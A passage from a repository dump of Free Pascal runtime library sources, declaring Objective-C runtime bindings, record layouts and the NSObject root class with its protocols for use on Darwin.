| 26 | {$packrecords c} 27 | 28 | {$ifdef darwin} 29 | const 30 | libname = 'objc'; 31 | {$linkframework Foundation} 32 | {$define targetok} 33 | {$endif} 34 | 35 | {$ifndef targetok} 36 | {$error Add support for the current target to the objc1 unit } 37 | {$endif} 38 | 39 | const 40 | CLS_CLASS = 0; 41 | CLS_META = 1; 42 | CLS_ROOT = 2; 43 | OBJC2_CLS_HIDDEN = $10; 44 | CLS_EXCEPTION = $20; 45 | 46 | type 47 | { make all opaque types assignment-incompatible with other typed pointers by 48 | declaring them as pointers to empty records 49 | 50 | WARNING: do NOT change the names, types or field names/types of these 51 | types, as many are used internally by the compiler. 52 | } 53 | 54 | { BOOL is one byte and uses 0/1, just like Pascal } 55 | BOOL = boolean; 56 | 57 | tobjc_class = record 58 | end; 59 | pobjc_class = ^tobjc_class; 60 | _Class = pobjc_class; 61 | 62 | id = ^objc_object; 63 | pobjc_object = id; 64 | 65 | _fpc_objc_sel_type = record 66 | end; 67 | SEL = ^_fpc_objc_sel_type; 68 | 69 | IMP = function(target: id; msg: SEL): id; varargs; cdecl; 70 | pIMP = ^IMP; 71 | 72 | (* 73 | From Clang: 74 | // struct _class_t { 75 | // struct _class_t *isa; 76 | // struct _class_t * const superclass; 77 | // void *cache; 78 | // IMP *vtable; 79 | // struct class_ro_t *ro; 80 | // } 81 | 82 | // Full definition required by the compiler, do not make opaque! 83 | *) 84 | objc_object = record 85 | isa: pobjc_class; 86 | superclass: pobjc_class; 87 | cache: pointer; 88 | vtable: pIMP; 89 | ro: pointer; 90 | end; 91 | 92 | 93 | // Full definition required by the compiler, do not make opaque! 94 | objc_super = record 95 | receiver: id; 96 | _class: pobjc_class; 97 | end; 98 | pobjc_super = ^objc_super; 99 | 100 | (* From Clang: 101 | // struct _protocol_t { 102 | // id isa; // NULL 103 | // const char * const protocol_name; 104 | // const struct _protocol_list_t * protocol_list; // super protocols 105 | // const struct method_list_t * const instance_methods; 106 | // const struct method_list_t * const class_methods; 107 | // const struct method_list_t *optionalInstanceMethods; 108 | // const struct method_list_t *optionalClassMethods; 109 | // const struct _prop_list_t * properties; 110 | // const uint32_t size; // sizeof(struct _protocol_t) 111 | // const uint32_t flags; // = 0 112 | // } 113 | 114 | // Full definition required by the compiler, do not make opaque! 115 | *) 116 | objc_protocol = record 117 | isa: id; 118 | protocol_name: pchar; 119 | protocol_list: pointer; 120 | instance_methods, 121 | class_methods, 122 | optionalInstanceMethods, 123 | optionalClassMethods: pointer; 124 | properties: pointer; 125 | size: cuint32; 126 | flags: cuint32; 127 | end; 128 | pobjc_protocol = ^objc_protocol; 129 | ppobjc_protocol = ^pobjc_protocol; 130 | 131 | (* From Clang: 132 | /// struct _ivar_t { 133 | /// unsigned long int *offset; // pointer to ivar offset location 134 | /// char *name; 135 | /// char *type; 136 | /// uint32_t alignment; 137 | /// uint32_t size; 138 | 139 | // Full definition required by the compiler, do not make opaque! 140 | *) 141 | objc_ivar = record 142 | offset: pculong; 143 | name: pchar; 144 | ttype: pchar; 145 | alignment: cuint32; 146 | size: cuint32; 147 | end; 148 | Pobjc_ivar = ^objc_ivar; 149 | Ivar = Pobjc_ivar; 150 | PIvar = ^Ivar; 151 | 152 | // Full definition required by the compiler, do not make opaque! 153 | objc_method = record 154 | _cmd: SEL; 155 | method_type: pchar; 156 | _imp: pchar; 157 | end; 158 | Pobjc_method = ^objc_method; 159 | Method = Pobjc_method; 160 | PMethod = ^Method; 161 | 162 | { type that certainly will be returned by address } 163 | tdummyrecbyaddrresult = record 164 | a: array[0..1000] of shortstring; 165 | end; 166 | 167 | TEnumerationMutationHandler = procedure(obj: id); cdecl; 168 | 169 | ptrdiff_t = ptrint; 170 | 171 | { sending messages } 172 | function objc_msgSend(self: id; op: SEL): id; cdecl; varargs; external libname; 173 | function objc_msgSendSuper(const super: pobjc_super; op: SEL): id; cdecl; varargs; external libname; 174 | function objc_msgSendSuper2(const super: pobjc_super; op: SEL): id; cdecl; varargs; weakexternal libname; { Mac OS X 10.6 and later } 175 | { the AArch64 ABI does not require special handling of struct returns, so no 176 | special handlers are provided/required } 177 | {$ifndef cpuaarch64} 178 | { The following two are declared as procedures with the hidden result pointer 179 | as their first parameter. This corresponds to the declaration below as far 180 | as the code generator is concerned (and is easier to handle in the compiler). } 181 | function objc_msgSend_stret(self: id; op: SEL): tdummyrecbyaddrresult; cdecl; varargs; external libname; 182 | function objc_msgSendSuper_stret(const super: pobjc_super; op: SEL): tdummyrecbyaddrresult; cdecl; varargs; external libname; 183 | function objc_msgSendSuper2_stret(const super: pobjc_super; op: SEL): tdummyrecbyaddrresult; cdecl; varargs; weakexternal libname; 184 | {$endif cpuaarch64} 185 | { This one actually also exists to return extended on x86_64, but 186 | we don't support that yet 187 | } 188 | {$ifdef cpui386} 189 | function objc_msgSend_fpret (self: id; op: SEL): double; cdecl; varargs; external libname; 190 | {$else cpui386} 191 | function objc_msgSend_fpret (self: id; op: SEL): double; cdecl; varargs; external libname name 'objc_msgSend'; 192 | {$endif cpui386} 193 | 194 | function sel_getName(sel: SEL): PChar; cdecl; external libname; 195 | function sel_registerName(str: PChar): SEL; cdecl; external libname; 196 | function object_getClassName(obj: id): PChar; cdecl; external libname; 197 | function object_getIndexedIvars(obj: id ): Pointer; cdecl; external libname; 198 | 199 | function sel_getUid(const str: PChar): SEL; cdecl; external libname; 200 | 201 | function object_copy(obj:id; size:size_t):id; cdecl; external libname; 202 | function object_dispose(obj:id):id; cdecl; external libname; 203 | 204 | function object_getClass(obj:id): pobjc_class; cdecl; external libname; 205 | function object_setClass(obj:id; cls: pobjc_class):pobjc_class; cdecl; external libname; 206 | 207 | function object_getIvar(obj:id; _ivar:Ivar):id; cdecl; external libname; 208 | procedure object_setIvar(obj:id; _ivar:Ivar; value:id); cdecl; external libname; 209 | 210 | function object_setInstanceVariable(obj:id; name:pchar; value:pointer):Ivar; cdecl; external libname; 211 | function object_getInstanceVariable(obj:id; name:pchar; var outValue: Pointer):Ivar; cdecl; external libname; 212 | 213 | function objc_getClass(name:pchar):id; cdecl; external libname; 214 | function objc_getMetaClass(name:pchar):id; cdecl; external libname; 215 | function objc_lookUpClass(name:pchar):id; cdecl; external libname; 216 | function objc_getClassList(buffer:pClass; bufferCount:cint):cint; cdecl; external libname; 217 | 218 | function objc_getProtocol(name:pchar): pobjc_protocol; cdecl; external libname; 219 | function objc_copyProtocolList(outCount:pdword):ppobjc_protocol; cdecl; external libname; 220 | 221 | function class_getName(cls:pobjc_class):PChar; cdecl; external libname; 222 | function class_isMetaClass(cls:pobjc_class):BOOL; cdecl; external libname; 223 | function class_getSuperclass(cls:pobjc_class):pobjc_class; cdecl; external libname; 224 | 225 | function class_getVersion(cls:pobjc_class):longint; cdecl; external libname; 226 | procedure class_setVersion(cls:pobjc_class; version:longint); cdecl; external libname; 227 | 228 | function class_getInstanceSize(cls:pobjc_class):size_t; cdecl; external libname; 229 | 230 | function class_getInstanceVariable(cls:pobjc_class; name:pchar):Ivar; cdecl; external libname; 231 | function class_getClassVariable(cls:pobjc_class; name:pchar):Ivar; cdecl; external libname; 232 | function class_copyIvarList(cls:pobjc_class; outCount:pdword):PIvar; cdecl; external libname; 233 | 234 | function class_getInstanceMethod(cls:pobjc_class; name:SEL):Method; cdecl; external libname; 235 | function class_getClassMethod(cls:pobjc_class; name:SEL):Method; cdecl; external libname; 236 | function class_getMethodImplementation(cls:pobjc_class; name:SEL):IMP; cdecl; external libname; 237 | {$ifndef cpuaarch64} 238 | function class_getMethodImplementation_stret(cls:pobjc_class; name:SEL):IMP; cdecl; external libname; 239 | {$endif cpuaarch64} 240 | function class_respondsToSelector(cls:pobjc_class; sel:SEL):BOOL; cdecl; external libname; 241 | function class_copyMethodList(cls:pobjc_class; outCount:pdword):PMethod; cdecl; external libname; 242 | 243 | function class_conformsToProtocol(cls:pobjc_class; protocol: pobjc_protocol):BOOL; cdecl; external libname; 244 | function class_copyProtocolList(cls:pobjc_class; var outCount: dword):ppobjc_protocol; cdecl; external libname; 245 | 246 | function class_createInstance(cls:pobjc_class; extraBytes:size_t):id; cdecl; external libname; 247 | 248 | function objc_allocateClassPair(superclass:pobjc_class; name:pchar; extraBytes:size_t):pobjc_class; cdecl; external libname; 249 | procedure objc_registerClassPair(cls:pobjc_class); cdecl; external libname; 250 | function objc_duplicateClass(original:pobjc_class; name:pchar; extraBytes:size_t):pobjc_class; cdecl; external libname; 251 | procedure objc_disposeClassPair(cls:pobjc_class); cdecl; external libname; 252 | 253 | function class_addMethod(cls:pobjc_class; name:SEL; _imp:IMP; types:pchar):BOOL; cdecl; external libname; 254 | function class_addIvar(cls:pobjc_class; name:pchar; size:size_t; alignment:cuint8; types:pchar):BOOL; cdecl; external libname; 255 | function class_addProtocol(cls:pobjc_class; protocol:pobjc_protocol):BOOL; cdecl; external libname; 256 | 257 | function method_getName(m:Method):SEL; cdecl; external libname; 258 | function method_getImplementation(m:Method):IMP; cdecl; external libname; 259 | function method_getTypeEncoding(m:Method):Pchar; cdecl; external libname; 260 | 261 | function method_getNumberOfArguments(m:Method):dword; cdecl; external libname; 262 | function method_copyReturnType(m:Method):Pchar; cdecl; external libname; 263 | function method_copyArgumentType(m:Method; index:dword):Pchar; cdecl; external libname; 264 | procedure method_getReturnType(m:Method; dst:pchar; dst_len:size_t); cdecl; external libname; 265 | 266 | function method_setImplementation(m:Method; imp:IMP):IMP; cdecl; external libname; 267 | 268 | function ivar_getName(v:Ivar):Pchar; cdecl; external libname; 269 | function ivar_getTypeEncoding(v:Ivar):Pchar; cdecl; external libname; 270 | function ivar_getOffset(v:Ivar):ptrdiff_t; cdecl; external libname; 271 | 272 | function sel_isEqual(lhs:SEL; rhs:SEL):BOOL; cdecl; external libname; 273 | 274 | { fast enumeration support (available on Mac OS X 10.5 and later) } 275 | procedure objc_enumerationMutation(obj: id); cdecl; external libname; 276 | procedure objc_setEnumerationMutationHandler(handler: TEnumerationMutationHandler); cdecl; external libname; 277 | 278 | implementation 279 | 280 | end. 281 | -------------------------------------------------------------------------------- /System/objcbase.pp: -------------------------------------------------------------------------------- 1 | { 2 | This file is part of the Free Pascal run time library. 3 | Copyright (c) 2009 by the Free Pascal development team 4 | 5 | This unit provides the definition of the NSObject root class 6 | 7 | See the file COPYING.FPC, included in this distribution, 8 | for details about the copyright. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 13 | 14 | **********************************************************************} 15 | 16 | unit objcbase; 17 | 18 | {$ifdef FPC_HAS_FEATURE_OBJECTIVEC1} 19 | 20 | {$modeswitch objectivec1} 21 | {$packrecords c} 22 | 23 | interface 24 | 25 | uses 26 | ctypes; 27 | 28 | type 29 | NSString = objcclass external; 30 | NSInvocation = objcclass external; 31 | NSMethodSignature = objcclass external; 32 | NSCoder = objcclass external; 33 | 34 | { needed by NSZone.h below } 35 | {$if defined(cpu64) or defined(cpuarm) or defined(win32)} 36 | NSInteger = clong; 37 | NSUInteger = culong; 38 | {$else} 39 | NSInteger = cint; 40 | NSUInteger = cuint; 41 | {$endif} 42 | 43 | 44 | { NSZone.h, has to be here because NSObject.h imports NSZone.inc } 45 | 46 | { Types } 47 | type 48 | NSZone = record 49 | end; 50 | PNSZone = ^NSZone; 51 | NSZonePtr = PNSZone; 52 | 53 | { Constants } 54 | 55 | const 56 | NSScannedOption = 1 shl 0; 57 | NSCollectorDisabledOption = 1 shl 1; 58 | 59 | { Functions } 60 | function NSDefaultMallocZone: NSZonePtr; cdecl; external; 61 | function NSCreateZone(startSize: NSUInteger; granularity: NSUInteger; canFree: Boolean): NSZonePtr; cdecl; external; 62 | procedure NSRecycleZone(zone_: NSZonePtr); cdecl; external; 63 | procedure NSSetZoneName(zone_: NSZonePtr; name: NSString); cdecl; external; 64 | function NSZoneName(zone_: NSZonePtr): NSString; cdecl; external; 65 | function NSZoneFromPointer(ptr: Pointer): NSZonePtr; cdecl; external; 66 | function NSZoneMalloc(zone_: NSZonePtr; size: NSUInteger): Pointer; cdecl; external; 67 | function NSZoneCalloc(zone_: NSZonePtr; numElems: NSUInteger; byteSize: NSUInteger): Pointer; cdecl; external; 68 | function NSZoneRealloc(zone_: NSZonePtr; ptr: Pointer; size: NSUInteger): Pointer; cdecl; external; 69 | procedure NSZoneFree(zone_: NSZonePtr; ptr: Pointer); cdecl; external; 70 | function NSAllocateCollectable(size: NSUInteger; options: NSUInteger): Pointer; cdecl; external; 71 | function NSReallocateCollectable(ptr: Pointer; size: NSUInteger; options: NSUInteger): Pointer; cdecl; external; 72 | function NSPageSize: NSUInteger; cdecl; external; 73 | function NSLogPageSize: NSUInteger; cdecl; external; 74 | function NSRoundUpToMultipleOfPageSize(bytes: NSUInteger): NSUInteger; cdecl; external; 75 | function NSRoundDownToMultipleOfPageSize(bytes: NSUInteger): NSUInteger; cdecl; external; 76 | function NSAllocateMemoryPages(bytes: NSUInteger): Pointer; cdecl; external; 77 | procedure NSDeallocateMemoryPages(ptr: Pointer; bytes: NSUInteger); cdecl; external; 78 | procedure NSCopyMemoryPages(source: Pointer; dest: Pointer; bytes: NSUInteger); cdecl; external; 79 | function NSRealMemoryAvailable: NSUInteger; cdecl; external; 80 | 81 | type 82 | Protocol = objcclass external 83 | end; 84 | 85 | NSObjectProtocol = objcprotocol external name 'NSObject' 86 | function isEqual(obj: id): boolean; message 'isEqual:'; 87 | function hash: NSUInteger; message 'hash'; 88 | 89 | function superclass: pobjc_class; message 'superclass'; 90 | function _class: pobjc_class; message 'class'; 91 | { "self" is both a hidden parameter to each method, and a method of 92 | NSObject and thereby of each subclass as well 93 | } 94 | function self: id; message 'self'; 95 | function zone: PNSZone; message 'zone'; 96 | 97 | function performSelector(aSelector: SEL): id; message 'performSelector:'; 98 | function performSelector_withObject(aSelector: SEL; obj: id): id; message 'performSelector:withObject:'; 99 | function performSelector_withObject_withObject(aSelector: SEL; obj1, obj2: id): id; message 'performSelector:withObject:withObject:'; 100 | 101 | function isProxy: boolean; message 'isProxy'; 102 | 103 | function isKindOfClass(aClass: pobjc_class): boolean; message 'isKindOfClass:'; 104 | function isMemberOfClass(aClass: pobjc_class): boolean; message 'isMemberOfClass:'; 105 | function conformsToProtocol(aProtocol: Protocol): boolean; message 'conformsToProtocol:'; 106 | 107 | function respondsToSelector(aSelector: SEL): boolean; message 'respondsToSelector:'; 108 | 109 | function retain: id; message 'retain'; 110 | procedure release; message 'release'; { oneway } 111 | function autorelease: id; message 'autorelease'; 112 | function retainCount: NSUInteger; message 'retainCount'; 113 | 114 | function description: NSString; message 'description'; 115 | end; 116 | 117 | 118 | NSObject = objcclass external (NSObjectProtocol) 119 | strict protected 120 | isa: pobjc_class; 121 | public 122 | { NSObjectProtocol -- the message names are copied from the protocol 123 | definition by the compiler, but you can still repeat them if you want } 124 | function isEqual(obj: id): boolean; 125 | function isEqual_(obj: id): boolean; message 'isEqual:'; 126 | function hash: NSUInteger; 127 | 128 | function superclass: pobjc_class; 129 | function _class: pobjc_class; 130 | { "self" is both a hidden parameter to each method, and a method of 131 | NSObject and thereby of each subclass as well 132 | } 133 | function self: id; 134 | function zone: PNSZone; 135 | 136 | function performSelector(aSelector: SEL): id; 137 | function performSelector_(aSelector: SEL): id; message 'performSelector:'; 138 | function performSelector_withObject(aSelector: SEL; obj: id): id; 139 | function performSelector_withObject_(aSelector: SEL; obj: id): id; message 'performSelector:withObject:'; 140 | function performSelector_withObject_withObject(aSelector: SEL; obj1, obj2: id): id; 141 | function performSelector_withObject_withObject_(aSelector: SEL; obj1, obj2: id): id; message 'performSelector:withObject:withObject:'; 142 | 143 | function isProxy: boolean; 144 | 145 | function isKindOfClass(aClass: pobjc_class): boolean; 146 | function isKindOfClass_(aClass: pobjc_class): boolean; message 'isKindOfClass:'; 147 | function isMemberOfClass(aClass: pobjc_class): boolean; 148 | function isMemberOfClass_(aClass: pobjc_class): boolean; message 'isMemberOfClass:'; 149 | function conformsToProtocol(aProtocol: Protocol): boolean; 150 | function conformsToProtocol_(aProtocol: Protocol): boolean; message 'conformsToProtocol:'; 151 | 152 | function respondsToSelector(aSelector: SEL): boolean; 153 | function respondsToSelector_(aSelector: SEL): boolean; message 'respondsToSelector:'; 154 | 155 | function retain: id; 156 | procedure release; { oneway } 157 | function autorelease: id; 158 | function retainCount: NSUInteger; 159 | 160 | function description: NSString; 161 | 162 | { NSObject class } 163 | { "class" prefix to method name to avoid name collision with NSObjectProtocol } 164 | class function classIsEqual(obj: id): boolean; message 'isEqual:'; 165 | class function classIsEqual_(obj: id): boolean; message 'isEqual:'; 166 | { "class" prefix to method name to avoid name collision with NSObjectProtocol } 167 | class function classHash: cuint; message 'hash'; 168 | 169 | { NSObject methods } 170 | 171 | class procedure load; message 'load'; 172 | 173 | class procedure initialize; message 'initialize'; 174 | function init: id; message 'init'; 175 | 176 | class function new: id; message 'new'; 177 | class function allocWithZone(_zone: PNSZone): id; message 'allocWithZone:'; 178 | class function allocWithZone_(_zone: PNSZone): id; message 'allocWithZone:'; 179 | class function alloc: id; message 'alloc'; 180 | procedure dealloc; message 'dealloc'; 181 | 182 | { if MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_4 } 183 | procedure finalize; message 'finalize'; 184 | { endif } 185 | 186 | function copy: id; message 'copy'; 187 | function mutableCopy: id; message 'mutableCopy'; 188 | 189 | class function classCopyWithZone(_zone: NSZonePtr): id; message 'copyWithZone:'; 190 | class function classCopyWithZone_(_zone: NSZonePtr): id; message 'copyWithZone:'; 191 | class function classMutableCopyWithZone(_zone: NSZonePtr): id; message 'mutableCopyWithZone:'; 192 | class function classMutableCopyWithZone_(_zone: NSZonePtr): id; message 'mutableCopyWithZone:'; 193 | 194 | { "class" prefix to method name to avoid name collision with NSObjectProtocol } 195 | class function classSuperclass: pobjc_class; message 'superclass'; 196 | { "class" prefix to method name to avoid name collision with NSObjectProtocol } 197 | class function classClass: pobjc_class; message 'class'; 198 | class procedure poseAsClass(aClass: pobjc_class); message 'poseAsClass:'; 199 | class procedure poseAsClass_(aClass: pobjc_class); message 'poseAsClass:'; 200 | class function instancesRespondToSelector(aSelector: SEL): boolean; message 'instancesRespondToSelector:'; 201 | class function instancesRespondToSelector_(aSelector: SEL): boolean; message 'instancesRespondToSelector:'; 202 | { "class" prefix to method name to avoid name collision with NSObjectProtocol } 203 | class function classConformsToProtocol(aProtocol: Protocol): boolean; message 'conformsToProtocol:'; 204 | class function classConformsToProtocol_(aProtocol: Protocol): boolean; message 'conformsToProtocol:'; 205 | function methodForSelector(aSelector: SEL): IMP; message 'methodForSelector:'; 206 | function methodForSelector_(aSelector: SEL): IMP; message 'methodForSelector:'; 207 | class function instanceMethodForSelector(aSelector: SEL): IMP; message 'instanceMethodForSelector:'; 208 | class function instanceMethodForSelector_(aSelector: SEL): IMP; message 'instanceMethodForSelector:'; 209 | procedure doesNotRecognizeSelector(aSelector: SEL); message 'doesNotRecognizeSelector:'; 210 | procedure doesNotRecognizeSelector_(aSelector: SEL); message 'doesNotRecognizeSelector:'; 211 | procedure forwardInvocation(anInvocation: NSInvocation); message 'forwardInvocation:'; 212 | procedure forwardInvocation_(anInvocation: NSInvocation); message 'forwardInvocation:'; 213 | function methodSignatureForSelector(aSelector: SEL): NSMethodSignature; message 'methodSignatureForSelector:'; 214 | function methodSignatureForSelector_(aSelector: SEL): NSMethodSignature; message 'methodSignatureForSelector:'; 215 | 216 | // can't be classDescription, becaue there's a method in another 217 | // class that's also called classDescription 218 | class function _classDescription: NSString; message 'description'; 219 | 220 | end; 221 | 222 | 223 | NSCoderMethods = objccategory external (NSObject) 224 | class function version: cint; message 'version'; 225 | class procedure setVersion(aVersion: cint); message 'setVersion:'; 226 | function classForCoder: pobjc_class; message 'classForCoder'; 227 | function replacementObjectForCoder(aCoder: NSCoder): id; message 'replacementObjectForCoder:'; 228 | function awakeAfterUsingCoder(aDecoder: NSCoder): id; message 'awakeAfterUsingCoder:'; 229 | end; 230 | 231 | 232 | NSCopyingProtocol = objcprotocol external name 'NSCopying' 233 | function copyWithZone(zone_: NSZonePtr): id; message 'copyWithZone:'; 234 | end; 235 | 236 | 237 | { NSMutableCopying Protocol } 238 | NSMutableCopyingProtocol = objcprotocol external name 'NSMutableCopying' 239 | function mutableCopyWithZone(zone_: NSZonePtr): id; message 'mutableCopyWithZone:'; 240 | end; 241 | 242 | { NSCoding Protocol } 243 | NSCodingProtocol = objcprotocol external name 'NSCoding' 244 | procedure encodeWithCoder(aCoder: NSCoder); message 'encodeWithCoder:'; 245 | function initWithCoder(aDecoder: NSCoder): id; message 'initWithCoder:'; 246 | end; 247 | 248 | { NSDiscardableContent Protocol } 249 | NSDiscardableContentProtocol = objcprotocol external name 'NSDiscardableContent' 250 | function beginContentAccess: Boolean; message 'beginContentAccess'; 251 | procedure endContentAccess; message 'endContentAccess'; 252 | procedure discardContentIfPossible; message 'discardContentIfPossible'; 253 | function isContentDiscarded: Boolean; message 'isContentDiscarded'; 254 | end; 255 | 256 | implementation 257 | 258 | {$else } 259 | 260 | interface 261 | 262 | implementation 263 | 264 | {$endif} 265 | 266 | end. 267 | 268 | 269 | -------------------------------------------------------------------------------- /System/objc1.inc: -------------------------------------------------------------------------------- 1 | { 2 | This file is part of the Free Pascal run time library. 3 | Copyright (c) 2009 by the Free Pascal development team 4 | 5 | This unit provides an interface to the Objective-C 1.0 6 | run time as defined by Apple 7 | 8 | See the file COPYING.FPC, included in this distribution, 9 | for details about the copyright. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 14 | 15 | **********************************************************************} 16 | 17 | interface 18 | 19 | {$inline on} 20 | 21 | uses 22 | ctypes 23 | {$ifdef unix} 24 | ,unixtype 25 | {$endif} 26 | ; 27 | 28 | {$packrecords c} 29 | 30 | {$ifdef darwin} 31 | const 32 | libname = 'objc'; 33 | {$linkframework Foundation} 34 | {$define targetok} 35 | {$endif} 36 | 37 | {$ifndef targetok} 38 | {$error Add support for the current target to the objc1 unit } 39 | {$endif} 40 | 41 | const 42 | CLS_CLASS = $1; 43 | CLS_META = $2; 44 | 45 | type 46 | { make all opaque types assignment-incompatible with other typed pointers by 47 | declaring them as pointers to empty records 48 | 49 | WARNING: do NOT change the names, types or field names/types of these 50 | types, as many are used internally by the compiler. 51 | } 52 | 53 | { BOOL is one byte and uses 0/1, just like Pascal } 54 | BOOL = boolean; 55 | 56 | tobjc_class = record 57 | end; 58 | pobjc_class = ^tobjc_class; 59 | _Class = pobjc_class; 60 | 61 | objc_object = record 62 | isa: pobjc_class; 63 | superclass: pobjc_class; 64 | end; 65 | id = ^objc_object; 66 | pobjc_object = id; 67 | 68 | _fpc_objc_sel_type = record 69 | end; 70 | SEL = ^_fpc_objc_sel_type; 71 | 72 | objc_method = record 73 | end; 74 | Pobjc_method = ^objc_method; 75 | Method = Pobjc_method; 76 | PMethod = ^Method; 77 | 78 | IMP = function(target: id; msg: SEL): id; varargs; cdecl; 79 | 80 | objc_super = record 81 | receiver: id; 82 | _class: pobjc_class; 83 | end; 84 | pobjc_super = ^objc_super; 85 | 86 | _fpc_objc_protocol_type = record 87 | end; 88 | pobjc_protocol = ^_fpc_objc_protocol_type; 89 | ppobjc_protocol = ^pobjc_protocol; 90 | 91 | objc_ivar = packed record 92 | end; 93 | Pobjc_ivar = ^objc_ivar; 94 | Ivar = Pobjc_ivar; 95 | PIvar = ^Ivar; 96 | 97 | { type that certainly will be returned by address } 98 | tdummyrecbyaddrresult = record 99 | a: array[0..1000] of shortstring; 100 | end; 101 | 102 | TEnumerationMutationHandler = procedure(obj: id); cdecl; 103 | 104 | ptrdiff_t = ptrint; 105 | 106 | { sending messages } 107 | function objc_msgSend(self: id; op: SEL): id; cdecl; varargs; external libname; 108 | function objc_msgSendSuper(const super: pobjc_super; op: SEL): id; cdecl; varargs; external libname; 109 | { The following two are declared as procedures with the hidden result pointer 110 | as their first parameter. This corresponds to the declaration below as far 111 | as the code generator is concerned (and is easier to handle in the compiler). } 112 | function objc_msgSend_stret(self: id; op: SEL): tdummyrecbyaddrresult; cdecl; varargs; external libname; 113 | function objc_msgSendSuper_stret(const super: pobjc_super; op: SEL): tdummyrecbyaddrresult; cdecl; varargs; external libname; 114 | {$ifdef cpui386} 115 | function objc_msgSend_fpret (self: id; op: SEL): double; cdecl; varargs; external libname; 116 | {$else cpui386} 117 | function objc_msgSend_fpret (self: id; op: SEL): double; cdecl; varargs; external libname name 'objc_msgSend'; 118 | {$endif cpui386} 119 | 120 | function sel_getName(sel: SEL): PChar; cdecl; external libname; 121 | function sel_registerName(str: PChar): SEL; cdecl; external libname; 122 | function object_getClassName(obj: id): PChar; cdecl; external libname; 123 | function object_getIndexedIvars(obj: id ): Pointer; cdecl; external libname; 124 | 125 | function sel_getUid(const str: PChar): SEL; cdecl; external libname; 126 | 127 | function object_copy(obj:id; size:size_t):id; cdecl; external libname; 128 | function object_dispose(obj:id):id; cdecl; external libname; 129 | 130 | function object_getClass(obj:id): pobjc_class; cdecl; 131 | function object_setClass(obj:id; cls: pobjc_class):pobjc_class; cdecl; 132 | 133 | function object_getIvar(obj:id; _ivar:Ivar):id; cdecl; 134 | procedure object_setIvar(obj:id; _ivar:Ivar; value:id); cdecl; 135 | 136 | function object_setInstanceVariable(obj:id; name:pchar; value:pointer):Ivar; cdecl; external libname; 137 | function object_getInstanceVariable(obj:id; name:pchar; var outValue: Pointer):Ivar; cdecl; external libname; 138 | 139 | function objc_getClass(name:pchar):id; cdecl; external libname; 140 | function objc_getMetaClass(name:pchar):id; cdecl; external libname; 141 | function objc_lookUpClass(name:pchar):id; cdecl; external libname; 142 | function objc_getClassList(buffer:pClass; bufferCount:cint):cint; cdecl; external libname; 143 | 144 | {$ifdef FPC_HAS_FEATURE_OBJECTIVEC1} 145 | function objc_getProtocol(name:pchar): pobjc_protocol; cdecl; weakexternal libname; 146 | function objc_copyProtocolList(outCount:pdword):ppobjc_protocol; cdecl; weakexternal libname; 147 | {$endif} 148 | 149 | function class_getName(cls:pobjc_class):PChar; cdecl; inline; 150 | function class_isMetaClass(cls:pobjc_class):BOOL; cdecl; 151 | function class_getSuperclass(cls:pobjc_class):pobjc_class; cdecl; inline; 152 | 153 | function class_getVersion(cls:pobjc_class):longint; cdecl; external libname; 154 | procedure class_setVersion(cls:pobjc_class; version:longint); cdecl; external libname; 155 | 156 | function class_getInstanceSize(cls:pobjc_class):size_t; cdecl; external libname; 157 | 158 | function class_getInstanceVariable(cls:pobjc_class; name:pchar):Ivar; cdecl; external libname; 159 | function class_getClassVariable(cls:pobjc_class; name:pchar):Ivar; cdecl; external libname; 160 | function class_copyIvarList(cls:pobjc_class; outCount:pdword):PIvar; cdecl; external libname; 161 | 162 | function class_getInstanceMethod(cls:pobjc_class; name:SEL):Method; cdecl; external libname; 163 | function class_getClassMethod(cls:pobjc_class; name:SEL):Method; cdecl; external libname; 164 | function class_getMethodImplementation(cls:pobjc_class; name:SEL):IMP; cdecl; external libname; 165 | function class_getMethodImplementation_stret(cls:pobjc_class; name:SEL):IMP; cdecl; external libname; 166 | function class_respondsToSelector(cls:pobjc_class; sel:SEL):BOOL; cdecl; external libname; 167 | function class_copyMethodList(cls:pobjc_class; outCount:pdword):PMethod; cdecl; external libname; 168 | 169 | function class_conformsToProtocol(cls:pobjc_class; protocol: pobjc_protocol):BOOL; cdecl; external libname; 170 | function class_copyProtocolList(cls:pobjc_class; var outCount: dword):ppobjc_protocol; cdecl; external libname; 171 | 172 | function class_createInstance(cls:pobjc_class; extraBytes:size_t):id; cdecl; external libname; 173 | 174 | (* 175 | function objc_allocateClassPair(superclass:pobjc_class; name:pchar; extraBytes:size_t):pobjc_class; cdecl; external libname; 176 | procedure objc_registerClassPair(cls:pobjc_class); cdecl; external libname; 177 | function objc_duplicateClass(original:pobjc_class; name:pchar; extraBytes:size_t):pobjc_class; cdecl; external libname; 178 | procedure objc_disposeClassPair(cls:pobjc_class); cdecl; external libname; 179 | 180 | function class_addMethod(cls:pobjc_class; name:SEL; imp:IMP; types:pchar):BOOL; cdecl; external libname; 181 | function class_addIvar(cls:pobjc_class; name:pchar; size:size_t; alignment:uint8_t; types:pchar):BOOL; cdecl; external libname; 182 | function class_addProtocol(cls:pobjc_class; protocol:pProtocol):BOOL; cdecl; external libname; 183 | *) 184 | 185 | function method_getName(m:Method):SEL; cdecl; inline; 186 | function method_getImplementation(m:Method):IMP; cdecl; inline; 187 | function method_getTypeEncoding(m:Method):Pchar; cdecl; inline; 188 | 189 | function method_getNumberOfArguments(m:Method):dword; cdecl; external libname; 190 | (* 191 | function method_copyReturnType(m:Method):Pchar; cdecl; weakexternal libname; 192 | function method_copyArgumentType(m:Method; index:dword):Pchar; cdecl; weakexternal libname; 193 | procedure method_getReturnType(m:Method; dst:pchar; dst_len:size_t); cdecl; external libname; 194 | 195 | function method_setImplementation(m:Method; imp:IMP):IMP; cdecl; external libname; 196 | *) 197 | 198 | function ivar_getName(v:Ivar):Pchar; cdecl; inline; 199 | function ivar_getTypeEncoding(v:Ivar):Pchar; cdecl; inline; 200 | function ivar_getOffset(v:Ivar):ptrdiff_t; cdecl; inline; 201 | 202 | (* 203 | function sel_isEqual(lhs:SEL; rhs:SEL):BOOL; cdecl; external libname; 204 | *) 205 | 206 | { fast enumeration support (available on Mac OS X 10.5 and later) } 207 | procedure objc_enumerationMutation(obj: id); cdecl; external libname; 208 | procedure objc_setEnumerationMutationHandler(handler: TEnumerationMutationHandler); cdecl; external libname; 209 | 210 | implementation 211 